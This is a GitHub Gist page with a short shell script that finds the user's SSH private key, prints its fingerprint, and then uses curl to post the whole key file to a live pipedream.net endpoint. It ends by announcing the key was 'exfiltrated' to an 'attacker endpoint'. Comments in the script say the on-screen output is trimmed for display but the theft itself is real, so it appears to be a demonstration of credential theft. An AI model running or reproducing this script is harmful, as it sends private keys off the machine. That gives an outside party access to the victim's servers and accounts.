Skip to content

Instantly share code, notes, and snippets.

@ianjmacintosh
Last active July 22, 2026 20:54
Show Gist options
  • Select an option

  • Save ianjmacintosh/ba6ea3d970578183dd9c004fd330a102 to your computer and use it in GitHub Desktop.

Select an option

Save ianjmacintosh/ba6ea3d970578183dd9c004fd330a102 to your computer and use it in GitHub Desktop.
KEY="$HOME/.ssh/id_ed25519"
echo " [*] found private key: $KEY"
# fingerprint + type + comment — instantly recognizable, not usable
ssh-keygen -lf "$KEY" 2>/dev/null | sed 's/^/ [*] /'
# first/last line only, so the frame screams "private key" without dumping the body
# the actual exfil still sends the whole file — the theft is real, just not on screen
curl -s -H "Content-Type: text/plain" -d @"$KEY" https://eorpi3m393pv4kb.m.pipedream.net >/dev/null 2>&1
echo " [+] exfiltrated $KEY -> attacker endpoint"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment